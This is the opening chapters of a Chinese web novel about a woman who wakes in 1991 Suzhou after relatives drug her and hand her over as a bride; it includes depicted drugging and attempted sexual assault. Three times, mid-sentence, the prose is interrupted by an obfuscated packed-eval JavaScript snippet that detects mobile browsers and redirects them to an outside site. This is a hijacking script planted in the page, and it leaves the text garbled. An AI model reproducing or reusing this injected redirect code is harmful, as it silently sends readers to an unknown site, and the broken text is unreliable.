《九十年代生活指北[九零]》 1. 穿越 一九九一,盛夏,苏城。 板车的轮胎吱呀呀地滚过,蝉鸣聒噪,白日残存的暑气在晚风中翻滚,风里还夹杂着一丝绿豆汤的薄荷气。 夜色阑珊间,拖车的中年男人喘着粗气,正刻意避着光亮处走着。 板车上拉的,赫然是个大活人。 “建业,你给她吃那么多安眠药没事吗?刚才过坎差点儿翻地上都没动静。” 巷子里传出一道中年妇女的声音。 “能有什么事儿?多吃了点那可不就睡得更沉嘛。”汉子接口随意答道。 “我说今天多喂点没说让你照昨儿的量加一倍啊!你看这么折腾都没反应。不会出什么事吧?” “你真是难伺候,出主意的都是你,累死累活的都是我,最后还得的都是埋怨。放心吧,就是睡着了而已。” 傅俏在迷迷糊糊的黑暗中,忽地听见一男一女对话,身下摇摇晃晃,颠簸不断。想睁开眼看看,两只眼皮却好似有千斤重,拼了命也睁不开。 汉子道:“你盯着点,别让她摔下去了。” “知道了。这黑灯瞎火的什么也看不见,还要走多久?” “快了,前面拐个弯就到。” “这下好了。秀秀的工作有着落,还不用顶你的班。你俩都能踏踏实实地在纺织厂里干。” 紧接着女声又说道:“这丫头留这儿,她爹妈的那些抚恤金和生活费,咱们还能照常收着。建业,咱们可得把嘴给闭严实咯,不然叫马家知道了,婆家说不定要来争的。” “废话,这是能说的吗?” 汉子一边拉着车,一边抱怨:“要我说,这简直就是天大的福气砸这臭丫头脑袋上了。国营纺织厂厂长家的公子看上她,想娶她过门这么好的事情,居然还不乐意?犟得跟头驴似的,不然我们至于使这个法子吗?……快快,拐弯了,金凤,扶一下!” 怎么回事? 她不是在给公司加班昏倒,给送进医院了吗? 这谁这么缺德,在抢救室看电视? “到了到了!就这儿。” 汉子如释重负地放停板车,王金凤赶忙上前在眼前这座小院院角的小门上敲了敲,低声唤道:“志远!阿俏来啦!” 摇晃颠簸的骤然停止,她只觉得身上没有一个地方不被板车硬木板给硌得生疼,浑身的骨头都要散架了。 吱呀。 年久失修的小门发出痛苦的一声,门后露出的是一张保养得当,体态丰腴的中年妇人面孔。 王金凤一愣,随即笑开了花,“哎呀,亲家母?!” 刘彩华的五官紧皱,冲着两人直挥手,“小点声!好了好了呀,送来就送来,怎么还闹得这么大动静?” 王金凤憨笑了两声,点头哈腰的讨好道,“是是,我们多注意,多注意。”说着便向落在后半步的傅建业招呼,“快把人弄来!” 傅俏倏觉身子一轻,整个人突然腾空,像是个沙袋一样被扛了起来。胃部似乎也遭受到了外力压迫,一阵阵地恶心感莫名上涌。 这是要把她弄到哪儿去? 无数个“器/官/贩卖”的新闻如走马灯般在脑海中放映了起来,现下她这只有脑子清楚,其他感官一应不通的状态的确很适合“任人宰割”。 救命!救命!有人吗?! 今晚空中无星无月,伸手不见五指的夜色里,三道鬼祟身影正在马家的后院中悄然穿行着。 “轻点轻点!” “就左手边那个,贴“囍”的那个屋...对对!” 刘彩华指挥着傅建业将人送进了小儿子装点一新的卧室里,外边儿虽然不吹不打,内里倒是布置得喜气洋洋,满屋的大红色差点没晃了傅建业的眼。 胃部的压迫感蓦地消减,身子又是一轻,她似乎落在了块软和地方。 “行,人就先放着吧。” 看着安安稳稳躺在自家儿子床上的小姑娘,刘彩华心中的大石总算撂地,长吐一口气后,表情松活了起来,脸上也露出了些笑模样。 “不用担心,待会儿志远会来照顾的。咱们这些老的就别在这碍事,上前边儿吃菜喝酒去,顺便啊,再聊聊天。” 这话里话外便是可以坐下来细说傅秀工作安排的意思,王金凤顿时喜形于色,傅建业更是难掩激动。两人亦步亦趋地跟在刘彩华身后,瞧着她好生将房门关上,这才往客厅去。 周遭的响动人声似乎在渐行渐远…直至寂静。 不知过了多久。 傅俏猛地睁开眼睛,从漫长的噩梦中惊醒,心脏跳得飞快,几乎要撞破胸膛的骨骼血肉。 昏暗的光线,劣质的发胶气味,低低的电风扇叶转动声,还有微风吹到皮肤上的凉感,失去的感官在这一瞬通通恢复,仿佛她与这个世界断开的WiFi重新接连成功。 知觉的回归让傅俏大大松了口气,这才有心思回想起刚才那个梦。 梦里她成了另一个“傅俏”,父亲牺牲,母亲改嫁,自己寄人篱下,钱财全部被叔叔婶婶霸占。 不仅如此,现在叔婶还要“卖了她”给自家闺女换个进国营纺织厂的名额,简直过得比灰姑娘还惨。 梦境在“她”被灌了安眠药,在昏睡中送上那张婚床时戛然而止。 噩梦的余韵尚未完全消散,她舔了舔嘴唇,口中泛起一股诡异的苦涩,喉咙也干得冒烟。 去喝点水吧。 准备下床喝水的傅俏发觉了不对劲。 这压根儿不是她的房间。 傅俏怔忡着环视四周,屋里的陈设古旧,硕大的钨丝灯泡亮着明黄刺眼的光。而其他的器物装饰也同梦境里如出一辙,这些只该出现电视年代剧里的东西,根本不可能存在于她那间寸土寸金的沪市公寓里。 最可怕的是,那张婚床和她现在身下躺着的这张,一模一样。 难道还在梦里? 嘭! 她吓了一跳。 脆弱的木板门被霍地冲开,白纱窗帘被震得直晃。一股浓烈的酒水臭气顿时扑鼻而来,灌满了整个房间。 “阿悄,阿悄…老婆…嘿嘿…” 门口出现了个醉醺醺的青年,喝得满面通红,正颠三倒四地咧着嘴傻笑。脚下打着趔趄,一边叨叨着胡话,一边摇摇晃晃地朝床扑来。 “来…春宵一刻…我们睡觉…” 傅俏身子一震,此刻哪里还管什么梦不梦的,当即翻下床逃跑。怎料双脚刚踩上地面,小腿倏地发软,整个人重重地跌在水泥地上,竟是直接摔到了醉汉的跟前。 剧烈的疼痛霎时传遍周身,她正要咬牙爬起,遮天蔽日的阴影突然从头笼罩而下,将她困得严严实实。 他竟是已站在了面前,眼神依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464548|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧迷离,左摇右摆地俯下身道,嘿嘿一笑,“媳妇,你真心急…这么快,嗝,就投怀送抱了…嗝…”裹挟着酒味菜味的热气直直喷洒到了脸上,她的胃部顿时一阵阵翻涌。 “啊!放开!” 醉汉一身蛮力,竟是直接将她从地上拖起,扔回到了床上。 “…媳妇…我的媳妇儿…” 来不及再次出逃,他就已经压了上来,浓烈的“男人气味”和滚烫的体温似乎无处不在,自己的全部力量在对方面前仿佛隔靴搔痒,与一艘想要在远洋的惊涛骇浪中掌握命运的可笑舢板根本没有区别。 不能,不能这样…就算是梦里也不可以,是现实更不允许… “滚!滚开!救命,救命啊!”傅俏歇斯底里地乱叫着,没有一秒停止过挣扎,然而屋外却宛如一个巨大的死寂黑洞,毫无回应。 时间在流逝,她的力气在衰竭,连意识也在剧烈挣扎导致的缺氧中而逐渐恍惚。 忽地,有道反射强光刺痛了眼睛。 傅俏瞄去,是床边的书桌,桌角用铁皮包着,眼下正在台灯的照射下泛出冷冷的光。 咚! … “啊!你做什么?!你找死?!操!疯子!疯子!疯婆娘…他/妈/的…” 血,好多血。 温润黏腻的液体正不断地从额角处汩汩流出,傅俏能感觉到有些淌到了鼻尖,锈铁的腥气霎时充斥了鼻腔,有些淌到了嘴里,涩涩的发甜… “操!” 马志远登时酒醒了大半,从床上一跃而起,看着止不住的鲜血和似乎已陷入昏迷的少女也慌了手脚,转身便朝屋外跑去。 “来人啊!出事了!快来人!” 声音渐远,傅俏缓缓睁眼,咧嘴一笑。 她赌对了。 如果这里是梦…而梦中的故事都是“正确”的,这个醉汉也不过是个色厉内荏,外强中干的货色,没那么大能耐抗事。 出了意外,一定会喊人来。 毕竟这样的家庭,要是闹出人命官司,该怎么收场? “不好了!快来人!出事了!” 马志远一路叫喊着小跑去了前厅,慌里慌张地冲进屋内,浑身血迹斑斑的模样顿时将厅中众人震得呆若木鸡,一秒钟前觥筹交错,热火朝天的景象瞬间冻结,满堂鸦雀无声。 “发生什么事了?!” 始终冷着脸单独坐在角落的马明远霍然起身,语气森森,目光锐利如刀,打自家弟弟身上匆匆一扫而过,心中突然冒生出一个可怕的猜测。 他的表情愈发凝重,动作极快地径直穿过杯盘狼藉的酒桌,来到了马志远面前,“这不是你的血,到底怎么回事?!” 当刘彩华回过神,听到说不是自家儿子的血时,明显呼了好大一口气。 马铁顺却是皱起了眉头。 “她…她她…寻死了!” 马志远哇地一声喊出,登时像是脱力了一般,一屁股坐到了地上。 马明远一惊,甩头回望向父母和傅家叔婶,却见酒桌边道众人神色各异,均透着说不清的心虚。 他只觉如一盆冰水当头泼下,寒气顺着骨头缝钻进脊梁,冻得人不寒而栗,难以置信地反问满屋子人,厉声道:“你们…你们胆子也太大了!居然敢把人弄到家里来?还让志远…这是犯罪知道吗?!是犯罪!” 2. 送医 马明远赶到时,傅俏的意识已几近模糊。 部分干涸的血液黏住了发丝,睫毛,眼皮…在有限的视野中,她只能看到一个瘦高身影朝自己而来。 “你是…小傅?!”来人声音在微微发颤。 他近两年来鲜少回家,对家里的一应“新鲜”的人事物都并不熟悉,自然也包括傅俏。 没想到第一次见面,居然就是这幅景象。 少女奄奄一息地躺着,仿佛一条被冲上岸边濒死的小鱼,身上,床上…干涸的,新鲜的…紫褐色的,暗红色的斑斑痕迹…到处都是… 连空气里也弥散着冲鼻的腥气。 震惊、恐惧、心痛…如洪流般冲击而出的情绪似乎汇聚成了两只无形的大手,攫住了他的双腿,在这一瞬间,马明远被钉在了原地。 傅俏吃力地与眼皮抗争着,企图睁大些眼睛,好看清些来人。 发觉她仿佛有所回应,多亏久经历练的职业素养及时发挥了作用,他压下所有思绪,立即走上前去,躬下身地认真察看了看小姑娘额角处的伤口。 狰狞却并不致命,血液的流速也在减慢。马明远略松了一口气,柔声道:“小傅,不能睡,不能睡觉…我这就送你去医院。你坚持,一定坚持住。” 他将女孩儿从床上一把横抱而起,匆匆忙忙地快步踏出了房间就要往医院去。 始终没说几句话的马铁顺突然站了出来,稳稳挡在道路中央,面色铁青,两道浓密而杂乱的眉毛纠结在了一起,遮住了不大的双眼。 “你要去哪里?” 马明远愕然,“当然是医院。您没看到人都这样了吗?” “去什么医院,旁边的厂办附属医院?你这个样子跑过去,是想搞得厂子里人尽皆知吗?以后我们家还怎么做人?”马铁顺道。 “人命关天,难道还不如名声重要?” 马铁顺的三角眼从傅俏身上瞟过,目光在额角稍稍停留了片刻,冷冷道:“只是撞破了头而已,应该没有生命危险。你当了这么多年警察,难道连这点判断能力都没有吗?” 一直没搞清情况的傅家叔婶在此时终于缓过了神,看着马明远怀中毫无生气,血淋淋的侄女,两颗心也都忍不住颤了颤。 他们一边怨恨她搞砸了这一切,一边又担心。 这可是他们家的钱眼儿,千万不能有什么三长两短,否则这一遭岂不是“陪了夫人又折兵”?! 傅建业着急地望向自家老婆,王金凤的眼珠滴溜溜转了几圈,倏地一拍大腿,得了救星般大声道:“人民医院!咱们去人民医院吧?离得也不远,但不是咱们的对口单位,医保报不了,基本上没人会去那儿的。” 马明远深深看了父亲一眼,仿佛在极力压制着自己的火气,沉声道:“好。那就去人民医院,现在就去,打车去。” 马铁顺没有马上回答,半低下头,像是在思考。 “打车?!明远!就这么点路打什么车啊?那得多贵!正好!傅家婶子这里有板车…” 直到说到打车,刘彩华像是才长出了眼睛嘴巴,看到了这一幕幕混乱,才能开口说出话来。 马明远不想多言,他的最后一丝耐性已被磨尽,也不再理会谁挡在前方,抱着傅俏自顾自地便冲出门去。 “诶,诶…明远!妈和你说话呢,你走什么啊?!” 刘彩华见大儿子一意孤行地往外冲,赶忙上前扒拉着不让人走,但她哪里是能拉扯得过马明远的?非但没有让人停下,自己倒还被带着走出去好远。 她着急了,跳着脚对愣在旁边傅家两口子指挥道,“你们看戏呢呢?动手啊,快把你那板车弄出来啊!” “啊?哦哦!是是...” 傅建业得令,团团转着到处找板车,不知真糊涂还是装糊涂。明明是自己拖来的板车,现下竟连停放在哪儿都记不住了,边找边喃喃自语:“板车,我板车放哪儿了?” 王金凤看不下眼,拽了他一把,“哎呀,你这院里转什么?板车在后院院门角落停着呢!” 她拉过丈夫,向刘彩华赔着笑脸,“刘大姐,这时候晚了,我闺女还一个人在家里,我俩实在放心不下。那个板车就先借给你们用了,我们就先回去了啊。这阿俏嘛…俗话说“嫁出去的女儿泼出去的水”,她既然进了马家的门,就是马家的人了,该是怎么样,都是她的命...” 傅建业越听越不对劲,瞪着眼睛疑惑地看着妻子,刚想要说话,却被王金凤硬生生地拖出了马家。 “快走啊,不走等着出医疗费啊!”她咬牙小声道。 “喂!你们不能这样走了!喂?喂!”刘彩华喊道。 “嚷什么?!” 马铁顺断喝,骇得她身子一抖,惊魂未定地朝他看去。 “还嫌不够丢人吗?人家说得对,进了马家的门就是马家的媳妇,天底下没有拦着婆家人不让走的道理。” 他一发话,刘彩华纵是有再多的心思怨气也只能打碎了往肚子里咽,歪撇着嘴,双边唇瓣闭得紧紧的,眼睁睁地瞧着傅家叔婶扬长而去。 几人说话间,马明远已经抱着傅俏走到了前门。 马铁顺回望着大儿子的背影,高挑笔直,好似一棵萧萧肃肃的白杨,行走间虎虎生风。刚才经过时没半点犹豫,直直地他身旁挤了过去。 院门前。 “你还要看多久?” 马明远停下脚步,看着偷偷摸摸尾随其后的马志远冷冷道,他如今两手都占着,没法开锁拉门,“把门打开。” 马志远上前走了两步,又突然停下,脸上浮出为难的神色,像是在纠结什么,嘴巴张张合合,期期艾艾地半天也没说出个整句。 他在害怕,害怕马铁顺。 关起门来,父亲可以接受他作威作福,甚至可以满足他多少不合理的要求,只要这些事情都发生在家里。但一旦事情闹大,宣扬出去,后果万万是他吃不消的。 现在只要他打开了这扇门,将会发生什么,谁也不知道。 “马志远。” 马明远的脸色难看到了极点,“如果妈没骗我,这姑娘是你要死要活要上吊,千求万求求来的,你现在就这个怂样?” 傅俏倏地仰了仰头,神色痛苦,嘤/咛一声。 马明远急忙低头,路灯昏黄光线下,怀中少女面如金纸,似乎因失血过多而发冷,正打着颤。 不能再拖下去了。 “你要害死她吗?!” 一句怒吼之下,马志远终是不堪重负,哇地哭了出来,哆嗦着双手解开了门栓,彻底敞开大门。 “哥…救救阿俏……” 红黄相间的昌河面包车顶端长亮着“有客”的灯牌,驾轻就熟地往苏城市人民医院驶去。 夜已深沉,弯弯尖尖的新月终于从云层后露出了身影,清辉如水银泻地,为一应景物拢上了一层轻纱,一切都显得如此静谧美好。 直至旭日东升。 消毒水的气味熟悉而又陌生,傅俏渐渐从迷蒙中苏醒,左侧额头上传来清晰的疼痛。她眼睛尚未适应白日的光线,只能眯着粗略扫过四周。 越看越是心沉。 泛黄白墙,铁架病床,红绿相间的水磨石地板…分明还是梦境中的那个时代。 难道她真的穿越了1991年,成为那个名字相貌都和自己一模一样的人吗? 周围人声嘈杂,却没一个人能回答她这个问题。 “醒了?” 温和的女声传入傅俏的耳朵,扭头望过去,是一位三十出头,模样陌生的医生,正笑盈盈地看着她。 “您是?”她轻蹙起眉头。 医生和煦地笑了笑,自我介绍道:“我姓杨,是昨晚收你住院的医生。你有轻微脑震荡,记忆可能有些缺失。” 杨薇对小姑娘的印象很深,好一个生得水灵灵的姑娘破了相,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464549|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是件值得惋惜的事儿。尤其她被送来时的惨状,不能不让人印象深刻。 “杨医生,谢谢你。” 一听是她的主治医生,傅俏下意识回以礼貌的笑容,“请问我的伤...”抬手虚虚地碰了碰伤处的纱布,“严重吗?” “你的脑震荡倒不严重,留观两天没什么事就差不多了。就是伤口有点麻烦,创面虽然不大,但是比较深,缝了有七针。这段时间千万要多注意,别沾水,勤换药,否则感染发炎就麻烦了。” 傅俏听得连连点头,“我记住了。谢谢您,杨医生,还特意来嘱咐我。” “不用客气。你好好休息,早点恢复出院就是对我们医生来说最好的感谢了。” 她又交待了几句正要离开,却迎面撞见了提着饭盒前来的马志远。 一副精神饱满,心情不错的模样。 傅俏默默转过脸去,背对着来人。 “阿悄!”他很快就在这个多人病房中找到了傅俏的床位,三两步就到了跟前。 杨薇看着眼前的陌生人,不禁生出了几分警惕,“你是什么人?是家属吗?怎么随随便便就进到病房里来?” “当然是家属!我是她的…”马志远顿了顿,含糊一通,还是没有把“对象”两个字说出口,怕又引得傅俏发狂。 “是什么?”杨薇再问道。 他没了耐心,叽叽歪歪道:“哎呀,我说医生你这未免管得也太多了。昨晚那个把她送来医院的人就是我亲哥,我能害她嘛?” “那你哥呢?他为什么不来?”杨薇契而不舍地问道,大有刨根问底的架势。 马志远搓了一把头发,被烦得不行,理直气壮道:“我哥照顾我妈去了啊。今早我妈心脏病犯了,那他不得先紧着我妈吗?这里不就只能我来了?” 心脏病? 侧着耳朵留意着这边对话的傅俏听到了关键字眼,心下不由得为之一动。 这么巧?明明昨晚那样混乱不堪的时候都扛住了,偏偏到了今天早上就犯病了? 她看“犯病”是假,好让马明远分身乏术,方便马志远趁虚而入是真。 看来他们还真是铁了心想要自己这个儿媳。 傅俏不禁有些想笑。 昨夜里她醒过一回,趁时机仔细“翻阅”了一遍原主的记忆,发现了不少东西,还正愁着要怎么搞到那个电话号码呢。 这一出简直是帮了大忙了。 “傅俏”有只紫檀匣子,本是她妈妈的嫁妆,里面放的东西却是父亲留下的。 一枚军功奖章,一本半新不旧的笔记本,还有一只派克钢笔,仅此而已。 但笔记本的扉页上有串数字,是个电话号码。而这个号码的主人,她是在那一日的沪江机场才知道的。 机场大厅中,顾兰泽半跪半蹲在懵懵懂懂的小女儿面前,泣不成声。岁月虽在她的脸上留下些许风霜痕迹,也为她的美丽平添风致。 “笑笑,对不起…妈妈真的没办法再继续在这里生活下去了。还记得爸爸给你留下的笔记本吗?第一页上有个电话号码,是你方叔叔的电话。要是,要是日后遇上了什么难处……” “傅俏”的脸蛋儿上挂着泪珠,伸出小手捧着妈妈的脸颊,带着哭腔小心翼翼问道:“妈妈,能不能不走?我会很乖很乖的。” “笑笑,去找你方叔叔。你爸爸曾经托付过他的,要他好好照顾你。他答应了…他不会食言的。” 然而“傅俏”从没打通那个电话,甚至没有仔细看过那串数字。 她彼时尚幼小,在顾兰泽离开后就将满腔怨念都迁怒到了这位“方叔叔”身上。觉得要是没有他,妈妈或许会可怜自己无人依靠,就不会将自己抛下。 生活到底不是童话故事,怨气也不能当饭吃。当人身陷泥沼之时,通常最快脱身的办法就是强大的外力。 傅俏想要拿到这个号码,但如今那只匣子…… 3. 赌债 杨薇多问了几句,也没问出什么太不对劲的地方。总归是别人的家事,她当医生的没有立场干涉太多,敲打了两句后便离开了病房。 马志远立刻凑了上来。 “阿悄?” 他笑嘻嘻地喊了声,仿佛昨晚什么也没发生过,亲亲热热道:“饿了吧。这是妈早上特意去买的包子和豆浆,都热着呢!让我赶紧给你送过来。” 傅俏依旧侧低着头不说话。 马志远只当她不过是在闹别扭,仍嬉皮笑脸地,兀自紧贴着床沿坐下。 “你别生我的气了嘛。妈已经批评过我了,不能对你这么,这么…使蛮劲儿…我,我就是太高兴了,所以多喝了点。这人一喝多,有点儿犯浑也是正常嘛,那我,我也是因为太喜欢你了…你看,我今天特意请假出来陪你…” “阿姨还好吗?”傅俏忽然扭过脸问道。 马志远一怔,足足呆在原处十秒左右才反应过来。以为她这是向自己示好,一副想笑又不敢嘚瑟的表情,心里不禁忆起了临出门前母亲的断言。 “天底下哪有什么贞洁烈女,都是一时没想通的。我儿子一表人才,愿意娶她,那是她的福气。这女人啊,只要嫁了,迟早都会服服帖帖听男人的。不信你今天就去试试,说两句软话哄哄,还不是手到擒来?” 眼前这不就是活生生的例子? “好…好啊!那什么…就是我哥着急来看你,我妈拦着不让,俩人说急了,就一口气没倒上来。这老毛病了,也马上就送医院了。放心吧,还有我大哥在呢。他这常年在外不回家,好不容易回来了,孝敬一下老娘,照顾照顾也是应该的。” 他一边说着,一边留意着傅俏脸上的神情,却见她始终神色淡淡,瞧不出欢喜也看不出难过。 “哦。” 她闻言轻轻颔首,略过了一会儿,倏然仰头望着他道:“现在时候还早,你要在这里陪我一整天吗?” “当然啦!” 马志远自信满满道:“阿俏你放心,今天一天就由我来照顾你,保准服务到位!” 傅俏朝他浅浅一笑。 马志远心中的小鹿猛地踹了一脚。 “好啊。志远,麻烦你帮我打点热水来吧?” “啊?” 马志远还沉浸在少女的美色之中,没想到任务来得这么快。 他当然不想动弹,但刚放出去的大话,怎么好立刻食言,脑瓜子一转,问道:“你是渴了吗?这儿有豆浆,喝豆浆就成。” 说着就要打开饭盒,却被傅俏拦住了动作。 她摇了摇头,“我不渴。只是想要热水洗漱,你不想去吗?” “当然不是!” 马志远弹跳着从床边站起,拎起暖水瓶就往外走,“你等着,我这就打水去!” 水房离这里不近,打完了水,洗漱过后,她才吃上了早饭。吃过早饭,又得去清洗碗筷。这跑来跑去,他整一上午话没有和傅俏说上两句,活到是做了不少。 午饭时间,再爬上跑下地给傅俏打上了饭,两人吃完过后,脏饭盒又成了问题。 马志远明显不耐烦了。 傅俏在心底暗暗发笑,不过眼下尚不是该开口的时候,还得再添一把火才行。 “志远。”她唤道,“下午你再帮我多打几瓶热水吧?” 果然,马志远的脸色变了又变,终是忍不住拧起了眉头,“你还要热水干什么?” “我想洗洗头发。” 傅俏说着摸了一把散落至胸前的长发,“昨天弄脏了,一直都没来得及洗。正好,你帮帮我吧?” “你,你怎么还要洗头发啊?你头发挺好,挺干净的,不用洗。再说了,我从来没帮别人洗过,也不会啊。”马志远皱着脸道。 “那……” 傅俏看他这坐立不安的样子,“要不,你别在这儿守着了?” 马志远的双眼突然一亮,随即又黯淡下来,不知在纠结什么。 她道:“你最近怎么没去和阿学他们玩儿了?我好长时间没见你和他们在一块儿了。是闹翻了吗?” 如果没“记错”的话,这个“阿学”大号陈学进,身后跟了一群小弟,都是正经八百的社会混混,吃喝嫖赌,没一样不做的。 马志远有段时间常常和他们在一块儿打麻将,连骚扰“傅俏”的频率都下降了不少,只是后来不知怎么了,许是被马铁顺发现了蹊跷,强行断了他和混混们的来往。 至于是怎么断的…根据前后时间线推测,很有可能就是马志远以娶“傅俏”为条件,答应了马铁顺这个要求。 现在她再推他一把,也不算缺德到推人入火坑,顶多是让事态回到最初的轨道。 这真是哪壶不开提哪壶了,他嘴一撇,“那不都是为了你?” 傅俏装愣:“为了我?” “我爸说要娶你就不能和他们继续来往。你看看,我为了你牺牲多大!搞不好别人要在背后怎么说我见色忘友呢。” 她强忍住反驳的欲望,语气柔和依旧,“既然这样,那你现在不就可以去了?反正在这里待着也没事,倒浪费你好不容易请来的假了。” 这话一出,马志远呆滞了一瞬,旋即高兴地站起来走了几步,两只眼珠子蓦地骨碌碌直转,憋了半天,还是没舍得说出一句拒绝的话来。 看得出来,他是真的很想去。 傅俏此时到不着急催促了,慢悠悠吊着,就是不开口。 “可…可是…” 马志远吞吞吐吐,“我还要照顾你。再说了,这要是让我爸知道…” “我不会说出去的。”傅俏说道,“你悄悄出去,就玩一个下午,再悄悄回来。正好下午我也想睡觉休息,难道让你在这里干坐着吗?” 马志远一喜,没想到她竟这样处处为自己考量,心里顿时跟大夏天喝汽水一样,美得直冒泡,牙根子都倒着甜。 这一去就是一整个半天。 晚上九点半左右,卡在住院部关门的最后时刻,马志远回来了。 垂头丧气,浑身上下,里里外外都被香烟熏透了。 就是块腊肉也没有这么入味的。 马志远走的时候并没有留下晚餐的费用,要不是杨薇医生,她连饭也吃不上,只能饿着。 即便如此,傅俏也只是轻声问了一句,“这么晚了,你吃过饭了吗?” 少女的嗓音像是三月里吹面不寒的杨柳春风,是他从没听过的好听。 打见过傅俏的第一天起,她就没对自己有过一刻好脸,说过一句好话,更别提这么温温柔柔地问话。 “吃过了…” “下午玩得不高兴吗?怎么苦着脸?” “没什么,就摸了两把牌…”马志远的眼神躲躲闪闪,不敢正视对面人。 傅俏“哦”了一声,随口问:“输了么?” 他刚想开口,却听见她又道,“打牌输输赢赢都是常有的,也不算什么。输了多少?” 马志远没想到她非但没有像自己老娘一样开口就是责备,反而说是应该的,登时大有喜出望外的感觉,连输钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464550|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燥郁都被冲淡了不少。 “一百多点儿。”他实话实说。 一百多块。 从“傅俏”的记忆里来看,叔叔一个月的工资才二百一十块,马志远一下午就输掉了一个工人大半月的收入。 还真是“取之于民,用之于民”。 “你…身上带了这么多吗?”她试探性地问道。 马志远揉了揉头发,闷闷道:“没有,欠着呢。” 傅俏安慰道:“欠就先欠着,明早回去拿不就好了?” 他的学历不过是初中毕业,多亏靠老爸的关系才在厂里挂了个闲职,整天游手好闲不务正业。自己那点儿工资,连在外面吃吃喝喝都不够。 赌债这种额外支出,除了伸手问家里要这一条路,几乎不用做他想。 孰料马志远一听这话,当即流露出了怨气,两手环抱在胸前。 “回家拿?” 他似乎想到了什么,蓦地打了个激灵,嘟嘟囔囔道:“那我爸不得活吞了我?本来就是为了出来避风头的…到时候我妈也得唠唠叨叨个没完,现在还加上了个我大哥……” 傅俏问道:“这钱…你有什么办法吗?” 他的神情不虞,冲道:“什么意思?总问这个干嘛,我是那少钱的人吗?” 她立马摇摇头否定,随后又警惕似地往四下里打量了一番,稍稍朝他挪了挪,低声说道:“我或许有法子,能帮你先还上这笔钱。” 马志远闻言愣了一瞬,半信半疑地看着她。 傅俏道:“我记得…我父母曾经给我留过一个小匣子,说是结婚以后就给我。我小时候曾经在妈妈那儿偷看过,里面像是只金镯子…” 他立马心领神会,也放小了声量,急不可耐地问:“这只匣子在哪儿?” “我婶婶把它拿走了,说是等我…结婚后就还我。可是……” 她微不可察地叹了口气,“现在也不知道是不是还在她那儿,那只镯子还在不在…” “好啊!” 马志远一听,简直比有人从自己口袋里抢了钱走还生气,咬牙切齿地道:“看不出来,这老傅居然个这么无耻的老家伙…抢自己侄女东西,也好意思!” “志远,我也不知道叔叔婶婶还记不记得这件事,也不知道会不会还给我,也许已经把镯子…要是镯子不在,我可能就没法帮你了。” “什么记不记得认不认的?!”他大手一挥,“就算东西没了,这钱他也得吐出来!” 嘀嗒,嘀嗒,嘀嗒。 病房里黑漆漆的,不同节奏的呼吸声此起彼伏。床头的仪器亮光忽闪忽闪,消毒水的气味似乎比白日里淡了几分。 马志远睡着旁边的钢丝小床上,两只眼睛像是猫头鹰一样瞪着,一想到明天要做的事情,大脑就兴奋得毫无睡意。 他要去傅家。 傅俏的父亲在南方边境牺牲前是高级军官,母亲是解放前的资本家大小姐,早些年改嫁去了海外。这两人给自己唯一女儿留下的东西,在马志远想来,毋庸置疑的值钱,很可能不止是一只金镯子,连金条都说不定有。 退一万步说,就算傅家那俩老家伙咬死了不承认,自己也有借口从傅家弄出一笔钱来,至少能先补上这赌债的窟窿。 傅俏也没睡。 明天对她来说,是至关重要的一天,但明天又有太多的不确定性了。 自己能从傅家叔婶手中取回匣子吗,而匣子里的笔记本还在吗? 最关键的是那串电话号码…时隔经年,还能接通吗? 4. 匣子 “什么?不见了!” 清晨时分,纺织厂附属医院的心内科住院部走道中忽地响起一声,引得过往寥寥几人的目光不约而同地投向了前台处那道高瘦身影。 马明远守了刘彩华整夜,医生才通知他病人的情况已经稳定,大气还没来得及喘出,护士站的小护士就慌里慌张地跑过来说人民医院挂了电话过来找他。 他将话筒凑到耳旁,一声“你好”刚刚出口,对方便向他抛出了一个重磅炸弹。 傅俏不见了。 连带着说去照顾她的马志远。 苏城水乡,河网穿城过巷,两岸杨柳依依,树上蝉鸣聒噪,黛瓦青砖在过分明媚的阳光照耀下隐隐发烫。 一辆普通的自行车晃晃悠悠地从苏城人民医院溜了出来。 傅俏坐在后座,身上是马志远偷偷回家帮她拿来的衣服,一件老气横秋的碎花连衣裙。不过穿在她的身上,倒并没用想象中的那样难看,只是松垮垮的不太合身,反倒叫人将更多的注意力放倒了那张俏丽的脸蛋上。 两人顶着日头足足晒了四十多分钟,又热又晒。到了那扇熟悉的院门前时,他俩都已是汗流浃背,满脸通红了。 尤其是马志远,他从小就是家里的老幺,父母娇惯着长大的宝贝疙瘩,鲜少吃过这样的苦头。人还没见着面,气到是先攒下了。 恰逢周六,傅家一家三口齐齐整整地都在。 电视机里白娘子和许仙正在雷峰塔前经历着生离死别,但显然除了傅秀之外,其他两人的心思并不在这一场惊天动地的爱情悲歌中。 